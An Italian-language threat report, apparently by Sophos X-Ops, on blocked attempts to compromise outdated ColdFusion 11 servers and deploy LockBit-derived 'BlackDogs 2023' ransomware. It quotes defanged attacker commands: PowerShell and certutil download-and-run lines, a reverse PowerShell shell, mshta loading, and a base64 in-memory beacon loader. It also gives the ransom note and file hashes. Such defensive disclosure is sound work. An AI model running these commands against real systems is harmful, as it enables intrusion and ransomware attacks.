I server sono sempre un elemento di interesse per gli aggressori, in quanto rappresentano uno dei vettori di attacco più efficienti per penetrare in un’organizzazione. Gli account legati ai server hanno spesso i livelli di privilegio più elevati, il che rende facilmente realizzabile il movimento laterale verso altre macchine della rete.
Sophos X-Ops ha osservato un’ampia varietà di minacce che vengono trasmesse ai server, con i payload più comuni che sono Cobalt Strike Beacons, ransomware, backdoor PowerShell fileless, miners e webshell. A settembre e all’inizio di ottobre, abbiamo assistito a diversi tentativi da parte di un autore sconosciuto di sfruttare le vulnerabilità delle versioni obsolete e non supportate del software ColdFusion Server di Adobe per ottenere l’accesso ai server Windows su cui giravano e passare alla distribuzione di ransomware. Nessuno di questi attacchi ha avuto successo, ma hanno fornito una telemetria che ci ha permesso di associarli a un singolo attore o a un gruppo di attori e di recuperare i payload che hanno tentato di distribuire.
I file che abbiamo recuperato hanno mostrato che l’aggressore stava cercando di distribuire un ransomware creato utilizzando il codice sorgente trapelato della famiglia di ransomware LockBit 3.0. Abbiamo notato che un ransomware simile è stato utilizzato in una campagna di sfruttamento di WS-FTP. In questo report, parleremo della telemetria osservata nella rete di un cliente Sophos e degli strumenti e delle tecniche utilizzate. Fortunatamente, tutti i tentativi sono stati bloccati dai rilevamenti comportamentali degli endpoint Sophos che hanno individuato le attivazioni di processi sospetti “living off the land binary” (LoLBIN) provenienti dai server presi di mira.
Cronologia dell’attacco
Non essendo ColdFusion 11 più aggiornato e non disponendo della telemetria delle connessioni di rete del server, non siamo stati in grado di determinare quale vulnerabilità sia stata sfruttata per iniziare l’infiltrazione nella rete del cliente. Tuttavia, poco dopo aver ottenuto l’accesso il 20 settembre, gli aggressori hanno iniziato a testare la possibilità di sfruttare ulteriormente il server con una serie di voci della riga di comando eseguite utilizzando i processi di ColdFusion Server:
Alle 08:30 UTC del 20 settembre, l’aggressore esegue un comando ping diretto a un host controllato dall’aggressore, un sottodominio di “oastify[.]com”, collegato al Burp Collaborator Server, un servizio utilizzato per i test di sicurezza delle applicazioni out-of-band (OAST), un toolkit di rilevamento delle vulnerabilità esterne. Questo comando, destinato a verificare se il server fosse vulnerabile a un attacco remoto, è stato silenziosamente rilevato e autorizzato dalla protezione endpoint del server:
cmd /c "ping mc2a1coghq275g3y1qhnp5u2otukid62[.]oastify[.]com
Successivamente, alle 08:38, dopo aver appurato che il server poteva connettersi a un dominio remoto, l’aggressore ha tentato di eseguire uno script PowerShell remoto per scaricare e distribuire un “beacon” Cobalt Strike:
cmd /c "powershell -nop -exec bypass -c "iex ((new-object net.webclient).downloadstring('hxxp://<ip>:64/watchdogs.ps1'))
Questa azione è bloccata da una regola comportamentale Access_3b (basata sulla tecnica MITRE ATT&CK T1190). L’aggressore persiste con diversi tentativi di distribuire il Cobalt Strike Beacon, ma i suoi sforzi continuano a essere vanificati dalla regola “Access_3b”.
Di conseguenza, alle 11:37 l’aggressore esegue nuovamente una ricerca DNS con il comando “ping” per un diverso sottodominio di oastify[.]com, verificando che il server mirato possa connettersi a un dominio remoto.
cmd /c "ping oh9c6etims79ai806smpu7z4tvzmnhb6[.]oastify[.]com
Il test DNS è stato ancora una volta positivo, alle 11:45 l’aggressore ha tentato di utilizzare l’utility certutil.exe dei servizi di certificazione a riga di comando di Windows per lanciare un’altra versione eseguibile del beacon CobaltStrike. Anche in questo caso, il tentativo è stato fermato dalla regola comportamentale Access_3b (T1190).
cmd /c "certutil.exe -urlcache -split -f hxxp://<ip>:64/ftps.exe c:\windows\temp\ftps.exe & start c:\windows\temp\ftps.exe
L’aggressore ci ha provato più volte. Ma alle 11:52, ha abbandonato questo metodo e ha tentato di distribuire un reverse PowerShell interattivo, una backdoor PowerShell fileless destinata a operare in background e a eseguire comandi a discrezione dell’aggressore. Purtroppo (per lui), anche questa distribuzione del payload si è rivelata infruttuosa, bloccata dalla stessa regola comportamentale.
cmd /c "powershell -nop -exec bypass -c "iex (new-object net.webclient).downloadstring('hxxp://<ip>:64/invoke-powershelltcp.ps1');invoke-powershelltcp -reverse -ipaddress <ip> -port 585
Alle 12:01, l’aggressore ha cambiato nuovamente strategia. I suoi sforzi precedenti prevedevano il download di un file PowerShell e la successiva esecuzione del suo contenuto; a questo punto ha tentato di caricare un loader Cobalt Strike Beacon codificato direttamente in memoria con PowerShell. Purtroppo per lui, anche questo metodo di distribuzione modificato è stato bloccato.
$s=new-object io.memorystream(,convert]::frombase64string("h4siaaaaaaaa/61xaw/ishb9npwkf4gekiqm7lxrs89gsxmz2gwml4qkcmekvjblypom//tuguinp9mzlc1eqq6y73lq3kvude.. -
L’attaccante ha aspettato cinque giorni per tornare sul server armato di nuovi file binari compilati e di un nuovo vettore di attacco remoto nel tentativo di aggirare le protezioni esistenti. Il 25 settembre alle 07:47 ha riprovato il metodo di attacco originale, ottenendo lo stesso risultato. L’installazione è stata bloccata.
cmd /c "powershell -nop -exec bypass -c "iex ((new-object net.webclient).downloadstring('hxxp://<ip>:64/watchdogs.ps1'))
Il giorno successivo, hanno ricominciato da capo, con un test “ping” alle 01:16 contro un altro sottodominio random di oastify[.]com. Alle 01:23 ha tentato nuovamente di caricare in memoria un Cobalt Strike Beacon codificato, con ulteriori modifiche al codice per eludere il rilevamento. Ancora una volta è stato arrestato.
$s=new-object io.memorystream(,[convert]::frombase64string("h4siaaaaaaaa/61xaw/ishb9npwkf4gekiqm7lxrs89gsxmz2gwml4qkcmekvjb.. -
Dopo il fallimento, alle 01:31, ha cercato nuovamente di sfruttare certutil.exe per distribuire un altro beacon appena compilato. I tentativi dell’aggressore sono stati sempre vanificati.
cmd /c "certutil.exe -urlcache -split -f hxxp://<ip>:64/ftpss.exe c:\windows\temp\ftpss.exe & start c:\windows\temp\ftpss.exe
A corto di opzioni, alle 02:27 del 26 settembre, l’aggressore ha utilizzato un file HTA (HTML Application) per avviare PowerShell, con l’obiettivo di distribuire il Cobalt Strike Beacon. Tuttavia, anche questo tentativo non è andato a buon fine, poiché è scongiurato da un’altra regola comportamentale (C2_10a, basata sulla tecnica ATT&CK T1071.001).
cmd /c "mshta hxxp://<ip>:64/evil.hta
L’aggressore, sempre più disperato, ha fatto numerosi altri tentativi di lanciare i suoi attacchi utilizzando i file HTA e i binari Cobalt Strike. Purtroppo, tutti i suoi sforzi sono stati costantemente vanificati e bloccati.
Analisi del repository dell’aggressore
Seguendo la traccia telemetrica, abbiamo scoperto che gli attaccanti avevano involontariamente lasciato abilitati gli elenchi delle directory sul server Web che ospitava il loro repository di strumenti, permettendoci di esplorarne il contenuto. Al suo interno abbiamo scoperto tutti gli artefatti che l’aggressore aveva tentato di distribuire nell’ambiente del cliente, nonché il payload finale del ransomware che intendeva distribuire, anch’esso proveniente dal repository. (Tutti i payload scoperti sono stati bloccati dalle difese di Sophos).
La variante in questione, come già detto, reca una nota di ransomware che attribuisce il merito a “BlackDog 2023” e sembra essere una nuova famiglia di ransomware con un possibile collegamento al codice sorgente trapelato di Lockbit 3.0. Questo legame diventa evidente quando si esaminano le proprietà del file eseguibile statico e le somiglianze nel codice decompresso in memoria. Il codice in questione attiva la stessa protezione in-memory del codice sorgente, Mem/Lockbit-B.
L’attore si è autodefinito “BlackDogs 2023” nel file della nota di riscatto che faceva parte del payload del malware non andato a buon fine:
BlackDogs 2023 comming Your data are stolen and encrypted Please give me 205 Monero and we will give you the decryption program. Our Monero address : [redacted] The data will be published on TOR website if you do not pay the ransom Your personal DECRYPTION ID: [redacted] Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems! Using Tox messenger, we will never know your real name, it means your privacy is guaranteed. If you want to contact us, write in tox. [address redacted]
205 Monero equivalgono all’incirca a 30.000 dollari statunitensi.
Artifacts Coverage
File Name | Hash – SHA1 | Context Protection – Payload Delivery | Other Layers Of Coverage |
watchdogs.ps1 | a77fd996290cb37b7368f0b54774d8977c97fb7c | Access_3b (T1190) | C2_10a (T1071.001), AMSI/Cobalt-A, Shellcode |
invoke-powershelltcp.ps1 | 6be4f82c2f5dc46ebfa74a77fb550448fcac12d5 | Access_3b (T1190) | C2_10a (T1071.001) |
oftenExcute.ps1 | b2d5c047e60b2a183d30ac92b1dc73ac5ba58bbe | Access_3b (T1190) | C2_10a (T1071.001), AMSI/Cobalt-A, Shellcode |
$s=new-object io.memorystream(,convert]:
:frombase64string |
48c62e2b8e99ba7ebdaa50da7b84de014122f8eb | Access_3b (T1190) | Exec_27a (T1059.001), AMSI/Cobalt-A, C2_4a (T1059.001 mem/meter-d mem/meter-g), Shellcode |
ftps.exe | c2e896570e194ee4003f9e696a97c04b64a6e14e | Access_3b (T1190) | ATK/Cobalt-A, C2_1a (T1095 mem/meter-d mem/meter-g), Shellcode |
LB3.exe (Ransomware – Possibly delivered through CS beacon) | 385320ddd8254a49669bf3c31b28fde77601f47c | NA | Impact_4c, Impact_4a(mem/lockbit-b), CryptoGuard V5 |
evil.hta | 3a0cd87b1b6a112aa564169185f83248e23383c5 | Access_3b (T1190) | ATK/PSInject-Q, Exec_27a (T1059.001), AMSI/Cobalt-A, C2_4a (T1059.001 mem/cobalt-c, mem/meter-g) |
ftpss.exe | 26c8a6b4b816e18e611942111e401f339dc98395 | Access_3b (T1190) | ATK/Cobalt-A, C2_1a (T1095 mem/meter-d mem/meter-g) |
LKl23s.exe (Ransomware – Possibly delivered through CS beacon) | 759b9d1ea843596ab32ad401ffa1c9d09e735b56 | NA | Mal/EncPk-HM, Impact_4a(mem/lockbit-b), CryptoGuard V5 |
Ww3wb.exe (Ransomware – Possibly delivered through CS beacon) | a543ea56ecc63ec35e925e79d7c51558557b3ed1 | NA | Impact_4a (T1486 mem/lockbit-b), CryptoGuard V5, Mal/EncPk-HM, Impact_4c (T1486) |
Questi artefatti e altri indicatori di compromissione saranno resi disponibili anche su GitHub.
I rischi di questo vecchio software
A giudicare dalla directory di installazione del server che è stata sfruttata nell’attacco (C:\ColdFusion11\cfusion\bin\coldfusion.exe), è evidente che i clienti presi di mira utilizzavano ColdFusion 11.x, una versione rilasciata intorno al 2014. Adobe ha ufficialmente cessato il supporto per questo prodotto a partire dal 30 aprile 2021, quindi non sono disponibili ulteriori correzioni di bug o aggiornamenti per questa versione. Non è certo quale vulnerabilità del server sia stata sfruttata, ma ne esistono parecchie.
Sebbene la protezione degli end-point possa aiutare a evitare che gli aggressori sfruttino le vulnerabilità del vecchio software, non c’è modo di chiudere il punto di ingresso senza patch o aggiornamenti. Questo indebolisce la protezione in generale. Si consiglia vivamente ai clienti di migrare a versioni più recenti di qualsiasi prodotto server rivolto a Internet o di considerarne il ritiro a favore di un’alternativa ancora supportata. Se ciò non è possibile, le aziende devono fare il possibile per mitigare le vulnerabilità, isolando il più possibile i server che le ospitano la rete e limitando i diritti delle credenziali su tali server per impedire il movimento laterale se proprio devono risiedere sulla stessa rete.
Sophos X-Ops desidera ringraziare Mike Wood e Anand Ajjan per la loro recensione e il loro feedback su questo report.